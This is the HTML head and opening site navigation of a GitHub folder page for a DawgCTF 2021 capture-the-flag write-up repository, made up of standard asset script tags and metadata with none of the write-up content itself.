integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6BB:0529:CC5451:D78D1E:61830704" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ca47882f4e5b0d701af0bb71fd793838cc125d26367edc698e8e85d89befa50c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkJCOjA1Mjk6Q0M1NDUxOkQ3OEQxRTo2MTgzMDcwNCIsInZpc2l0b3JfaWQiOiIzODc1MDg4MTUwODYyOTU2MjkyIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="ee15c4de9577f9211848a74a15ec120ff18a518321d748f43c5545f3ff1df17f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> 